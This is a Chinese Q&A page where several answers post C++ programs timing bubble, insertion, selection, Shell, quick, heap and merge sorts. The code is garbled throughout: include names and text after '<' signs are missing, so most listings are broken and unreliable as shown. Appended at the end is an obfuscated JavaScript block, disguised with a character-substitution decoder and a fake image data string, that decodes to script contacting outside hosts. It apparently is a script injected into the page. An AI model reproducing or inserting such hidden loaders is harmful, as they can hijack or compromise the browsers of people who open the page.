急求!!C++高手来,关于排序综合的问题!

2025-02-24 20:26:50
推荐回答(5个)
回答1:

正好复习一下大一大二学过的东西~~我是学计算机的哦,不过差不多一年没接触排序算法了,竟然忘记得差不多了,花了我半天时间。。。不过你的要求应该基本实现了,我用的是VC6.0。

#include

#include

#include//clock()头文件

#include

#include//文件操作头文件

using namespace std;

#define MAX_NUM 100000//定义系统产生的随机数的最大个数

void srand (unsigned int seed);//申明随机数发生器的初始化函数

int rand(void);//申明伪随机数发生器

void bubbleSort(long b[],long a[],long n){/*冒泡排序*/

 for(long i=0;i

  a[i]=b[i];//将随机数数组复制一份,使用副本进行运算

 for(i=1;i

  for(long j=n-1;j>=i;j--){

   if(a[j]

    long t=a[j];

    a[j]=a[j-1];

    a[j-1]=t;

   } 

  }

 }

}

void insertSort(long b[],long a[],long n){ /*插入排序*/

 long i,j,k;

 for(i=0;i

  a[i]=b[i];//复制随机数数组

 for(i=0;i

  k=a[i];

  for(j=i-1;j>=0&&a[j]>k;j--){

   if(a[j]>k)

    a[j+1]=a[j];

  }

  a[j+1]=k;

 }

}

void selectSort(long b[],long a[],long n){/*选择排序*/

 long i,j,m,t;

 for(i=0;i

  a[i]=b[i];//复制随机数组

 for(i=0;i

  m=i;

  for(j=i+1;j

   if(a[j]

    m=j;

   if(m!=i){

    t=a[i];

    a[i]=a[m];

    a[m]=t;

   }

  } 

 }

}

void sort(double a[],string c[],int n){/*选择两种最快的排序法*/

 for(int i=1;i

  for(int j=n-1;j>=i;j--){

   if(a[j]

    double t=a[j];

    string d=c[j];

    a[j]=a[j-1];

    c[j]=c[j-1];

    a[j-1]=t;

    c[j-1]=d;

   } 

  }

 }

}

void main(){

 int i=0,j=0,k=0;

 long m;

 double compare[3];

 string d[]={"冒泡排序","插入排序","选择排序"};

 ofstream out;//文件流对象

 char s[100000];

 clock_t start,end;//定义排序开始及结束时间

    char tbuffer[9];

 srand((unsigned int)time(NULL));

 m=20000+rand();//随机数的个数=20000+系统产生的随机数

 long num[MAX_NUM],a[MAX_NUM];

 for(i=0;i

  num[i]=rand();//将m个随机数赋给num数组,以便进行运算

 cout<<"本次测试产生的随机数总数为:"<

 cout<<"\n.......冒泡排序......."<

 cout<<"开始时间:"<<_strtime(tbuffer)<

 start=clock();

 bubbleSort(num,a,m);

 end=clock();

 cout<<"结束时间:"<<_strtime(tbuffer)<

 out.open("bubbleSort.txt"); //打开bubbleSort.txt,记录冒泡排序结果

 j=0;

 for(i=0;i

  sprintf(s, "%d\n", a[i]);//将long型整数转换为字符串

  out.write(s,strlen(s));//写入文件

 }

 out.close();

 compare[0]=(end-start)/double(CLOCKS_PER_SEC);

 cout<<"性能:"<

 cout<<"排序结果已存入bubbleSort.txt"<

 cout<<"\n.......插入排序......."<

 cout<<"开始时间:"<<_strtime(tbuffer)<

 start=clock();

 insertSort(num,a,m);

 end=clock();

 cout<<"结束时间:"<<_strtime(tbuffer)<

 out.open("insertSort.txt");//打开insertSort.txt,记录插入排序结果

 for(i=0;i

  sprintf(s, "%d\n", a[i]);

  out.write(s,strlen(s));

 }

 out.close();

 compare[1]=(end-start)/double(CLOCKS_PER_SEC);

 cout<<"性能:"<

 cout<<"排序结果已存入insertSort.txt"<

 cout<<"\n.......选择排序......."<

 cout<<"开始时间:"<<_strtime(tbuffer)<

 start=clock();

 selectSort(num,a,m);

 end=clock();

 cout<<"结束时间:"<<_strtime(tbuffer)<

 out.open("selectSort.txt"); //打开selectSort.txt,记录选择排序结果

 j=0;

 for(i=0;i

  sprintf(s, "%d\n", a[i]);

  out.write(s,strlen(s));

 }

 out.close();

 compare[2]=(end-start)/double(CLOCKS_PER_SEC);

 cout<<"性能:"<

 cout<<"排序结果已存入selectSort.txt"<

 sort(compare,d,3);//调用sort(),计算出两种较快的排序方法

 cout<<"\n***本次测试中最快的两种排序方法为:\n1."<

}

回答2:

// cv.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include"iostream.h"
#include"stdio.h"
#include"stdlib.h"
#include"time.h"

/***************************************************************************************
冒泡排序
****************************************************************************************/
long Bubblesort(long R[],long n)
{
int flag=1;
long BC=0;
for(long i=1;i {
flag=0;
for(long j=n-1;j>=i;j--)
{
if(R[j] {
long t=R[j];
R[j]=R[j-1];
R[j-1]=t;
flag=1;
BC++; //交换次数
}

}
}
return BC;
}

long Bubblesortcompare(long R[],long n)
{
int flag=1;
long BC=0;
for(long i=1;i {
flag=0;
for(long j=n-1;j>=i;j--)
{
if(R[j] {
long t=R[j];
R[j]=R[j-1];
R[j-1]=t;
flag=1;
BC++;
}
if(R[j]>=R[j-1])
BC++; //比较次数

}
}
return BC;
}

/***************************************************************************************
选择排序
****************************************************************************************/
long selectsort(long R[],long n)
{
long i,j,m;
long t,SC=0;
for(i=0;i {
m=i;
for(j=i+1;j {
if(R[j] {m=j;}
if(m!=i)
{
t=R[i];
R[i]=R[m];
R[m]=t;
SC++;//交换次数
}
}

}
return SC;
}

long selectsortcompare(long R[],long n)
{
long i,j,m;
long t,SC=0;
for(i=0;i {
m=i;
for(j=i+1;j {
if(R[j]>=R[m])
{
SC++;

}
if(R[j] {
m=j;
SC++;
}
if(m!=i)
{
t=R[i];
R[i]=R[m];
R[m]=t;

}
}

}

return SC;
}

/***************************************************************************************
直接插入排序
****************************************************************************************/
long insertsort(long R[],long n)
{
long IC=0;
for(long i=1;i {
long temp=R[i]; //把待排序元素赋给temp
long j=i-1;
while((j>=0)&&(temp {
R[j+1]=R[j]; //顺序比较和移动
j--;
IC++;
}
IC++;//交换次数
R[j+1]=temp;
}
return IC;
}

long insertsortcompare(long R[],long n)
{
long IC=0;
for(long i=1;i {

long temp=R[i]; //把待排序元素赋给temp
long j=i-1;
while((j>=0)&&(temp {
if(temp>=R[j])
{
IC++;
}
R[j+1]=R[j]; //顺序比较和移动
j--;IC++;//比较次数

}
R[j+1]=temp;
}
return IC;
}

/***************************************************************************************
希尔排序
****************************************************************************************/
long ShellSort(long R[],long n)
{
int temp,SC=0;
for(int i=n/2;i>0;i/=2) //将所有记录分成增量为t的子序列
{
for(int j=0;j for(int k=j+i;k for(int p=j;p if(R[k] {
temp=R[k];
for(int q=k;q>p;q-=i) //插入位置以后的记录依次后移
{
R[q]=R[q-i];
SC++;
}
R[p]=temp; //插入记录
break;
}
}
return SC;
}

long ShellSortcompare(long R[],long n)
{
int temp,SC=0;
for(int i=n/2;i>0;i/=2) //将所有记录分成增量为t的子序列
{
for(int j=0;j for(int k=j+i;k for(int p=j;p { if(R[k]>=R[p])
SC++;
if(R[k] {SC++;
temp=R[k];
for(int q=k;q>p;q-=i) //插入位置以后的记录依次后移
{
R[q]=R[q-i];

}
R[p]=temp; //插入记录
break;
}}
}
return SC;
}

/***************************************************************************************
快速排序
****************************************************************************************/
long quicksort(long R[],long left,long right)
{
static long QC=0;
long i=left,j=right;
long temp=R[i];
while(i {
while((R[j]>temp)&&(j>i))
{
QC++;
j=j-1;
}
if(j>i)
{
R[i]=R[j];
i=i+1;
QC++;
}
while((R[i]<=temp)&&(j>i))
{
QC++;
i=i+1;
}
if(i {
R[j]=R[i];
j=j-1;
QC++;
}
}
//二次划分得到基准值的正确位置
R[i]=temp;
if(left quicksort(R,left,i-1); //递归调用左子区间
if(i+1 quicksort(R,i+1,right); //递归调用右子区间
return QC;
}

long quicksortcompare(long R[],long left,long right)
{
static long QC=0;
long i=left,j=right;
long temp=R[i];
while(i {
while((R[j]>temp)&&(j>i))
{
QC++;
j=j-1;
}
if(j>i)
{
R[i]=R[j];
i=i+1;
}
while((R[i]<=temp)&&(j>i))
{
QC++;
i=i+1;
}
if(i {
R[j]=R[i];
j=j-1;
}
}
//二次划分得到基准值的正确位置
R[i]=temp;
if(left quicksort(R,left,i-1); //递归调用左子区间
if(i+1 quicksort(R,i+1,right); //递归调用右子区间
return QC;
}

/***************************************************************************************
堆排序
****************************************************************************************/
static long HC=0;
void Heap(long R[],int n) //重新构造小顶堆
{
int temp;
for(int i=0;i*2 {
if(R[i]>=R[2*i]&&R[2*i])
{
temp=R[i];
R[i]=R[2*i];
R[2*i]=temp;
HC++;
}
if(R[i]>=R[2*i+1]&&R[2*i+1])
{
temp=R[i];
R[i]=R[2*i+1];
R[2*i+1]=temp;
HC++;
}
}
}
long HeapSort(long R[],int n) //取出堆顶
{
for(int i=n-1;i>=0;i--)
{
Heap(R,i);
R[0]=R[i];
}
return HC;
}

long HeapSortcompare(long R[],int n) //取出堆顶
{
for(int i=n-1;i>=0;i--)
{
Heap(R,i);
R[0]=R[i];
}
return HC;
}

/***************************************************************************************
操作选择函数
****************************************************************************************/
void operate(long a[],long n)
{
long*R=new long[n];
time_t start,end;
double dif;
long degree,compare;
char ch;
cout<<"请选择排序算法:\t";
cin>>ch;
switch(ch){
case'1':
{
int i;
for(i=0;i {
R[i]=a[i];
}
time(&start);
degree=Bubblesort(R,n);

time(&end);
dif=difftime(end,start);

cout<<"冒泡排序交换次数:\t"< for(i=0;i {
R[i]=a[i];
}
compare=Bubblesortcompare(R,n);
cout<<"冒泡排序比较次数:\t"< cout<<'\n';
operate(a,n);
break;
}
case'2':
{
int i;
for(i=0;i {
R[i]=a[i];
}
time(&start);
degree=selectsort(R,n);
for(i=0;i {
R[i]=a[i];
}
compare=selectsortcompare(R,n);
time(&end);
dif=difftime(end,start);

cout<<"选择排序交换次数:\t"< cout<<"选择排序比较次数:\t"< cout<<'\n';
operate(a,n);
break;
}
case'3':
{ int i;
for( i=0;i {
R[i]=a[i];
}
time(&start);
degree=insertsort(R,n);
time(&end);
dif=difftime(end,start);
cout<<"插入排序交换次数:\t"< for(i=0;i {
R[i]=a[i];
}
compare=insertsortcompare(R,n);
cout<<"插入排序比较次数:\t"< cout<<'\n';
operate(a,n);
break;
}
case'4':
{ int i;
for(i=0;i {
R[i]=a[i];
}
time(&start);
degree=ShellSort(R,n);
for(i=0;i {
R[i]=a[i];
}
compare=ShellSortcompare(R,n);
time(&end);
dif=difftime(end,start);

cout<<"希尔排序交换次数:\t"< cout<<"希尔排序比较次数:\t"< cout<<'\n';
operate(a,n);
break;
}
case'5':
{ int i;
for(i=0;i {
R[i]=a[i];
}
time(&start);
degree=quicksort(R,0,n-1);
time(&end);
dif=difftime(end,start);
cout<<"快速排序交换次数:\t"< for(i=0;i {
R[i]=a[i];
}
compare=quicksortcompare(R,0,n-1);
cout<<"快速排序比较次数:\t"< cout<<'\n';
operate(a,n);
break;
}
case'6':
{
for(int i=0;i {
R[i]=a[i];
}
time(&start);
degree=HeapSort(R,n);
compare=HeapSortcompare(R,n);
time(&end);
dif=difftime(end,start);

cout<<"堆排序交换次数:\t"< cout<<"堆排序比较次数:\t"< cout<<'\n';
operate(a,n);
break;
}
case'7':
break;
default:
{
cout<<"输入错误,请选择正确操作!"<<'\n';
break;
}
}
}

int main(int argc, char* argv[])
{
long n;
char check;
cout<<"\n** 排序算法比较 **"< cout<<"============================================"< cout<<"*** 1---冒泡排序 ***"< cout<<"*** 2---选择排序 ***"< cout<<"*** 3---直接插入排序 ***"< cout<<"*** 4---希尔排序 ***"< cout<<"*** 5---快速排序 ***"< cout<<"*** 6---堆排序 ***"< cout<<"*** 7---退出程序 ***"< cout<<"============================================"<
while(1)
{
cout<<"\n请输入要产生随机数的个数:";
long n;
cin>>n;
cout< long*a=new long[n];
srand((unsigned long)time(NULL));
for(long i=0;i {
a[i]=rand()%n;
}
operate(a,n);
cout<<"是否重复实验?\n继续请按y\n退出请按n\n请输入您的选择:\t\t";
cin>>check;
if(check=='y'||check=='Y')
continue;
if(check=='n'||check=='N')
break;
}

}

回答3:

#include
#include
#include
#include
using namespace std;

#define DATA 40 //数组元素个数

template
void Swap(T & a,T & b)
{
T temp;
temp=a;
a=b;
b=temp;
}

//冒泡法排序
template
void BubbleSort(T A[], int n)
{
int i,j,last;
i=n-1;
while (i>0)
{ //最多进行n-1趟
last=0; //进入循环就将last置成0
for (j=0; j if (A[j+1] {
Swap(A[j],A[j+1]); //由于后者小,故交换
last=j; //有交换就将last置成j
}
i=last; //如果一趟排序中没有交换元素,则last为0
}
}

//两路合并法排序
template
void Merge(T a[],int i1,int j1,int i2,int j2)
{ // i1,j1是子序列1的下、上界,i1,j2是子序列2的下、上界
T *Temp=new T[j2-i1+1]; //分配能存放两个子序列的临时数组
int i=i1,j=i2,k=0; //i,j是两个子序列的游动指针,k是Temp的游动指针
while (i<=j1&&j<=j2) //若两个子序列都不空,则循环
if (a[i]<=a[j]) Temp[k++]=a[i++]; //将A[i]和A[j]中较小的存入Temp[k]
else Temp[k++]=a[j++];
while (i<=j1)
Temp[k++]=a[i++]; //若第一个子序列中还有剩余的就存入Temp
while (j<=j2)
Temp[k++]=a[j++]; //若第二个子序列中还有剩余的就存入Temp
for (i=0; i a[i1++]=Temp[i]; //将临时数组中的元素倒回A
delete [] Temp;
}

template
void MergeSort(T a[], int n)
{
int i1,j1,i2,j2; //i1,j1是子序列1的下、上界,i2,j2是子序列2的下、上界
int size=1; //子序列中元素个数,初始化为1。
while (size {
i1=0;
while (i1+size { //若i1+size i2=i1+size; //确定子序列2的下界
j1=i2-1; //确定子序列1的上界
if (i2+size-1>n-1)
j2=n-1; //若第2个子序列中不足size个元素,则置子序列2的上界j2=n-1
else
j2=i2+size-1; //否则有size个,置j2=i2+size-1
Merge(a,i1,j1,i2,j2); //合并相邻两个子序列
i1=j2+1; //确定下一次合并第一个子序列的下界
}
size*=2; //元素个数扩大一倍
}
}

int main()
{

int p,l;
double m,n;
clock_t clock_start=clock();
clock_t clock_end;
int *a,b[DATA];
a=b;
for(p=0;p<2;p++)
{
clock_start=clock();
srand(time(0));
if (p==0)
{
double x;
for(l=0;l<10000;l++)
{
for(int j=0;j a[j]=rand()%200;
BubbleSort(a,DATA);
}
clock_end=clock();
cout<<"//***************冒泡排序法******************//"<<'\n';
cout< for(int e=0;e {
cout< }
cout<<"starttime:"< cout<<"finishtime:"< cout<<"10000 次运行时间:"< x=clock_end-clock_start;
m=x/10000;
cout<<"冒泡法排序平均时间:"< }
if (p==1)
{
double y;
for(l=0;l<10000;l++)
{
for(int j=0;j a[j]=rand()%200;
MergeSort(a,DATA);

}
cout<<"//****************两路合并排序法*******************//"<<'\n';
cout< clock_end=clock();
for(int e=0;e {
cout< }
cout<<"starttime:"< cout<<"finishtime:"< cout<<"10000 次运行时间:"< y=clock_end-clock_start;
n=y/10000;
cout<<"两路合并平均时间:"< cout<<"//************排序比较结果**************//"<<'\n';
}

}
if(m>n)
cout<<"两路合并排序更快!"< else
cout<<"冒泡法排序更快!"< return 0;
}

回答4:

//visual studio 2005中编译通过
#include
#include
#include

using namespace std;

void QSort(int *a,int b,int e) /*快速排序*/
{
int l=b,r=e,k=a[b];

if (b while (l {
while (lk)
r--;
if (l
while (l l++;

if (l
}
a[l]=k;
QSort(a,b,l-1);
QSort(a,l+1,e);
}
}

void SelectSort(int *a,int n) /*选择排序*/
{
int i,j,k;
for (i = 0; i k=i;
for (j=i+1; j if (a[k]>a[j]) k=j;
if (k!=i) {
j=a[k];
a[k]=a[i];
a[i]=j;
}
}
}

void InsertSort(int *a,int n) /*插入排序*/
{
int i,j,k;
for (i = 0; i k=a[i];
for (j=i-1; j>=0&&a[j]>k; j--) {
if (a[j]>k) {
a[j+1]=a[j];
}
}
a[j+1]=k;
}
}

void QuickSort(int *pData,int left,int right) //快速排序
{
int i(left),j(right),middle,iTemp;
//middle=pData[(left+right)/2];//求中间值
middle=pData[(rand()%(right-left+1))+left];//生成大于等于left小于等于right的随机数
do{
while((pData[i] i++;
while((pData[j]>middle) && (j>left))//从右扫描小于中值的数
j--;//找到了一对值,交换
if(i<=j){
iTemp=pData[j];
pData[j]=pData[i];pData[i]=iTemp;i++;j--;
}
}while(i<=j);//如果两边扫描的下标交错,就停止(完成一次) //当左边部分有值(left if(lefti),递归右半边
if(right>i){QuickSort(pData,i,right);}
}
void BubbleUpSort(int *pData,int nCount)//冒泡排序法
{
int nTmp;
for(int i=0;i for(int j=i+1;j if(pData[i]>pData[j]){
nTmp=pData[i];pData[i]=pData[j];pData[j]=nTmp;
}
}
void InitArray(int *pData,int nCount)
{
srand( (unsigned)time(NULL));
for(int i=0;i}
void ShowArray(int *pData,int nCount)
{
for(int i=0;i cout< if((i+1)%10==0)cout< }
}
int main()
{
__int64 t1, t2;
const int nCount=20000;
int *pData=new int[nCount];

InitArray(pData,nCount);
GetSystemTimeAsFileTime(LPFILETIME(&t1));
QSort(pData,0,nCount-1);
GetSystemTimeAsFileTime(LPFILETIME(&t2));
//ShowArray(pData,nCount);
//显示排序后的结果,这里并不计算时间,如果只是比较时间,这里可以注掉
printf( "快速排序法经过了%I64d.%04I64d毫秒\n", (t2-t1)/10000, (t2-t1)%10000 );

InitArray(pData,nCount);
GetSystemTimeAsFileTime(LPFILETIME(&t1));
BubbleUpSort(pData,nCount);
GetSystemTimeAsFileTime(LPFILETIME(&t2));
//ShowArray(pData,nCount);
printf( "冒泡法经过了%I64d.%04I64d毫秒\n", (t2-t1)/10000, (t2-t1)%10000 );

InitArray(pData,nCount);
GetSystemTimeAsFileTime(LPFILETIME(&t1));
SelectSort(pData,nCount);
GetSystemTimeAsFileTime(LPFILETIME(&t2));
//ShowArray(pData,nCount);
printf( "选择排序经过了%I64d.%04I64d毫秒\n", (t2-t1)/10000, (t2-t1)%10000 );

InitArray(pData,nCount);
GetSystemTimeAsFileTime(LPFILETIME(&t1));
InsertSort(pData,nCount);
GetSystemTimeAsFileTime(LPFILETIME(&t2));
//ShowArray(pData,nCount);
printf( "插入排序经过了%I64d.%04I64d毫秒\n", (t2-t1)/10000, (t2-t1)%10000 );
delete [] pData;
cin.get();//停住,以看清结果
return 0;
}
//参照了匿名回答者,但时间精确到了0.0001毫秒。

回答5:

//---------------------------------------------------------------------------

#include
#include
#include

void Qsort(int *a,int b,int e) /*快速排序*/
{
int l=b,r=e,k=a[b];

if (b while (l {
while (lk)
r--;
if (l
while (l l++;

if (l
}
a[l]=k;
Qsort(a,b,l-1);
Qsort(a,l+1,e);
}
}

void ssort(int *a,int n) /*选择排序*/
{
int i,j,k;
for (i = 0; i k=i;
for (j=i+1; j if (a[k]>a[j]) k=j;
if (k!=i) {
j=a[k];
a[k]=a[i];
a[i]=j;
}
}
}

void isort(int *a,int n) /*插入排序*/
{
int i,j,k;
for (i = 0; i k=a[i];
for (j=i-1; j>=0&&a[j]>k; j--) {
if (a[j]>k) {
a[j+1]=a[j];
}
}
a[j+1]=k;
}
}

int *init(const int n) /*初始化函数,返回含有n个随机整数的数组*/
{
static int st=0,*a=NULL;
int i;
if (!st) {
srand(time(NULL));
st=1;
if ((a=(int *)malloc(sizeof(int)*n))==NULL) {
fprintf(stderr,"ERROR\n");
exit(-1);
}
}

for (i = 0; i a[i]=rand();
}
return a;

}
int main(int argc, char* argv[])
{
time_t b,e;
int *a;
int N=20000; /*测试数据的规模*/

/*测试选择排序算法对N个整数排序所用时间*/
a=init(N);
b=time(NULL);
ssort(a,N);
e=time(NULL);
printf("Select Sort: %d sec.\n\n",e-b);

/*测试插入排序算法对N个整数排序所用时间*/
a=init(N);
b=time(NULL);
isort(a,N);
e=time(NULL);
printf("Insert Sort: %d sec.\n\n",e-b);

/*测试快速排序算法对N个整数排序所用时间*/
a=init(N);
b=time(NULL);
Qsort(a,0,N-1);
e=time(NULL);
printf("Quick Sort: %d sec.\n\n",e-b);

free(a);
return 0;
}
//---------------------------------------------------------------------------

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 